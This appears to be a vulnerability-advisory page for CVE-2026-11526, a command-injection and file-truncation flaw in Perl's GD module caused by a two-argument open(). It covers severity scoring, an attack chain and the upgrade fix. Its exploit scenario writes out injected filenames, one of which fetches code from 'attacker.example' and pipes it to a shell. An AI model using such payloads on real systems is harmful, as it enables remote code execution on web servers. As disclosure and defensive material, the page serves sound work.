Skip to main content

Perl GD CVE-2026-11526

| EUVDEUVD-2026-36659 CRITICAL
External Control of File Name or Path (CWE-73)
N/A vendor:alpine GHSA-hx22-9fx3-xg77
9.8
CVSS 3.1 · Vendor: vendor:alpine
Share

Severity by source

Vendor (vendor:alpine) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
8.1 HIGH

Network-reachable via vulnerable web apps with PR:N and full CIA impact from command execution, but AC:H because the calling application must forward an unsanitized attacker-controlled filename to a GD constructor.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vendor:alpine).

CVSS VectorVendor: vendor:alpine

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

7
Analysis Updated
Jun 15, 2026 - 18:28 vuln.today
v3 (cvss_changed)
Source Code Evidence Fetched
Jun 15, 2026 - 18:28 vuln.today
Analysis Updated
Jun 15, 2026 - 18:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 15, 2026 - 18:22 vuln.today
cvss_changed
CVSS changed
Jun 15, 2026 - 18:22 NVD
9.8 (CRITICAL)
Patch available
Jun 14, 2026 - 13:00 EUVD
Analysis Generated
Jun 12, 2026 - 11:00 vuln.today

DescriptionCVE.org

Alpine Linux: perl-gd fixed in 2.86-r0

AnalysisAI

Command injection and arbitrary file truncation in the Perl GD module before 2.86 (perl-gd 2.86-r0 on Alpine) arise because GD::Image's _make_filehandle helper opened filenames using Perl's two-argument open(). When an application passes an attacker-influenced filename to constructors like GD::Image->new or newFrom*, prefixes such as cmd |, | cmd, or > file are interpreted by Perl as a command pipe or redirect, yielding command execution or destructive file truncation. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify endpoint passing filename to Perl GD
Delivery
Submit filename with shell metacharacter prefix
Exploit
Reach _make_filehandle 2-arg open()
Execution
Perl interprets pipe or redirect token
Persist
Command runs as web user or victim file truncated
Impact
Pivot to persistence or data destruction

Vulnerability AssessmentAI

Exploitation Exploitation requires the consuming application to call a GD::Image filename constructor (new, newFromPng, newFromJpeg, newFromGif, newFromGd2, etc.) with a string whose contents the attacker can influence - typically an upload form, an HTTP parameter naming a server-side file, or a job queue payload - without first stripping leading `|`, trailing `|`, or leading `>`/`<` characters. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Signals are inconsistent. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A web application accepts an image upload and passes the user-supplied filename to GD::Image->newFromPng to render a thumbnail. The attacker submits a filename such as `id > /var/www/html/pwn.txt |` or `| /bin/sh -c 'curl attacker.example/x|sh'`; Perl's two-arg open in _make_filehandle interprets the trailing or leading pipe and spawns the command under the web server's UID, giving remote code execution. …
Remediation Vendor-released patch: GD 2.86 on CPAN (perl-gd 2.86-r0 on Alpine) - upgrade the GD Perl module to 2.86 or later, which replaces the two-argument open in _make_filehandle with `open($fh, '<', $thing)` per commit 67b163713c6c78dfeb693da0978ae934e5cd8210. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify and inventory all systems running perl-gd versions prior to 2.86 (check Alpine Linux systems specifically). …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-11526 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy